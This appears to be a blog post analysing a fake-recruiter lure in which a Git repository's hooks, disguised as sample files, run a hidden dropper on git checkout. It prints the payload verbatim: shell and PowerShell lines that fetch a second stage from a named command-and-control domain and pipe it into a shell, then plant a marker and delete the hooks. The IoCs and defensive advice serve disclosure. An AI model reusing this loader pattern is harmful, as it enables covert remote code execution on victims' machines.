Skip to main content

How a 'Dream Freelance Gig' Tried to Run Malware on My Mac

A fake recruiter sent me a 'confidential project brief' as a Git repo. Hidden in .git/hooks was a remote-code-execution dropper that fires the moment you check out a branch. Here's the full breakdown.

[ 3 Jun 2026 6 min read
views
]
Dark terminal showing an innocent git checkout command triggering a hidden curl pipe-to-shell payload, beside a fishhook baited with an NDA document

How a “Dream Freelance Gig” Tried to Run Malware on My Mac

A “client” reached out about a Healthcare / Medical Supply Plan project. Friendly tone, real-looking requirements, an NDA, the works. Then came the ask that saved me — they told me to download a .tar.gz from Dropbox and “make sure to go through the NDA branch, that’s where the main details are.”

That one sentence is the entire attack. Here’s how it worked, and how I caught it without ever running the code.

TL;DR: The project files were bait. The payload lived in .git/hooks. The hooks were disguised as Git’s harmless sample files but secretly ran curl … | sh the instant you ran git checkout. This is the well-documented “fake recruiter” / Contagious Interview campaign.


The lure

Everything about the package was designed to look legitimate:

  • A polished README.md, an Overview.md, and a docs/ folder with 11 markdown files (executive summary, PRD, architecture, data model, timelines…).
  • A real, clean Word .docx NDA on a separate branch.
  • A confidentiality story: “the full materials aren’t public — general info is in master, the NDA and contracts are in the NDA branch.”

The documents are 100% harmless. They exist only to make you feel safe and to give you a reason to switch branches.

The trap: .git/hooks

When you create a fresh Git repo, the .git/hooks/ directory is filled with inert example scripts — every one ends in .sample, so Git never runs them. This repo shipped with three hooks that had the .sample suffix removed, making them live:

.git/hooks/
├── post-checkout   ← runs automatically on `git checkout`
├── pre-push        ← runs on `git push`
├── commit-msg      ← runs on `git commit`
└── post-rebase.sample   ← decoy name, holds the real payload

Each live hook was a near-perfect copy of Git’s standard multi-page sample script — pages of harmless comments — with a single injected line buried in the middle:

sh "$(dirname "$0")/post-rebase.sample" >/dev/null 2>&1 &

It silently runs post-rebase.sample in the background and throws away all output. Why that filename? Because post-rebase is not a real Git hook. Naming it *.sample makes it look like one of the dozens of harmless examples — so even a careful reviewer glancing at the folder sees “just sample files.”

The payload

Inside post-rebase.sample, the real Git sample text was preserved (each line prefixed with # ) to pad it out and look authentic. The active code:

platform="$(uname -s 2>/dev/null || echo "Unknown")"
case "$platform" in
    Linux)
        (bash -c "wget -qO- 'https://cleverstack-ext30341.vercel.app/api/l' | sh" >/dev/null 2>&1 &)
        ;;
    Darwin)   # macOS
        (bash -c "curl -s 'https://cleverstack-ext30341.vercel.app/api/m' | sh" >/dev/null 2>&1 &)
        ;;
    MINGW*|MSYS*|CYGWIN*)   # Windows
        cmd.exe //c start "" powershell.exe -WindowStyle Hidden -Command \
          "Start-Process cmd -ArgumentList '/c curl.exe -s https://cleverstack-ext30341.vercel.app/api/w | cmd' -WindowStyle Hidden" 2>&1 &
        ;;
    *)
        (bash -c "curl -s 'https://cleverstack-ext30341.vercel.app/api/m' | sh" >/dev/null 2>&1 &)
        ;;
esac
 
# infection marker
echo "happier" > "${TMPDIR:-/tmp}/.git-checker"
 
# cover the tracks: delete the hooks and self-destruct
rm -f "$(dirname "$0")/commit-msg" "$(dirname "$0")/post-checkout" \
      "$(dirname "$0")/pre-push" "$0"

What it does, step by step:

  1. Detects the OS — Linux, macOS, or Windows.
  2. Downloads and executes a second-stage script straight from a remote server into the shell (curl … | sh). This is full remote code execution — whatever the attacker serves at that URL runs as you.
  3. Drops a marker (/tmp/.git-checker) so the operators know the host is infected.
  4. Self-destructs — deletes all four hook files so a victim who later inspects the repo finds nothing unusual.

Crucially, post-checkout runs automatically on git checkout. So the friendly instruction “please check out the NDA branch” is the trigger. You don’t have to run a single suspicious command — just follow the polite request, and you’re owned.

How I caught it without getting infected

The golden rule: inspect, never execute. Reading a file and extracting an archive do not run code. Running git checkout, npm install, or opening the project in an IDE that auto-runs tasks does.

My process:

  1. Download and list, don’t extract-and-open. tar tzvf archive.tar.gz to see the contents. The first red flag jumped out immediately: the archive shipped its own .git/ directory.
  2. Spot the non-sample hooks. Every hook in a clean repo ends in .sample. Three here did not. That is never normal in a repo someone “just made for you.”
  3. Read the hooks as plain text (cat / an editor), looking past the wall of comments for any line that isn’t commented out. Each had exactly one.
  4. Follow the breadcrumb to post-rebase.sample and read the payload.
  5. Confirm it never fired: no /tmp/.git-checker marker, and the hooks were still present (the payload deletes them after it runs). Read-only Git commands like git log and git branch don’t trigger checkout/commit/push hooks, so inspecting was safe.
  6. Disarm: delete the four malicious files. Only inert .sample files remain, and the repo is neutralized.

Indicators of Compromise (IoCs)

TypeValue
C2 domaincleverstack-ext30341.vercel.app
Endpoints/api/m (macOS), /api/l (Linux), /api/w (Windows)
DeliveryDropbox link → Healthcare-Medical-Supply-Plan.tar.gz
Payload location.git/hooks/{post-checkout,pre-push,commit-msg,post-rebase.sample}
Infection marker${TMPDIR:-/tmp}/.git-checker containing the string happier
Triggergit checkout (also git commit / git push)

Red flags, in order of how loud they were

  1. “Be sure to check out the NDA branch — that’s where the details are.” Any pressure to perform a specific git/build action is a screaming red flag.
  2. Code delivered as a Dropbox archive instead of normal repo access (GitHub/GitLab invite).
  3. A shipped .git/ directory with non-.sample hooks.
  4. Urgency + flattery + confidentiality — the classic social-engineering trifecta.
  5. The “real details” are gated behind an action, not just behind reading.

How to protect yourself

  • Never run code from an unsolicited “client,” recruiter, or take-home test without inspecting it first — including git checkout, npm install/pnpm/yarn, make, or opening it in an IDE with auto-run tasks enabled.
  • Audit .git/hooks of any repo you receive. Anything not ending in .sample should be read before you run a single git command. You can also clone with hooks disabled or set git config --global core.hooksPath /dev/null while inspecting untrusted repos.
  • Do untrusted review in a throwaway VM or container, not on your daily-driver machine.
  • curl … | sh is the signature. If you ever see a remote pipe-to-shell, stop.
  • Report it. Marketplaces (Fiverr/Upwork), the hosting provider (here, Vercel + Dropbox), and your network all benefit. These are throwaway accounts run at scale — reporting shortens their lifespan.

The takeaway

This wasn’t a clever zero-day. It was a clever piece of theater: a benign-looking project, a confidentiality story, and one friendly instruction that happened to be the detonator. The defense wasn’t fancy tooling — it was the habit of treating every unsolicited repo as hostile until read, and knowing that reading is safe but executing is not.

Stay paranoid. Inspect before you run.

Share:
> Comments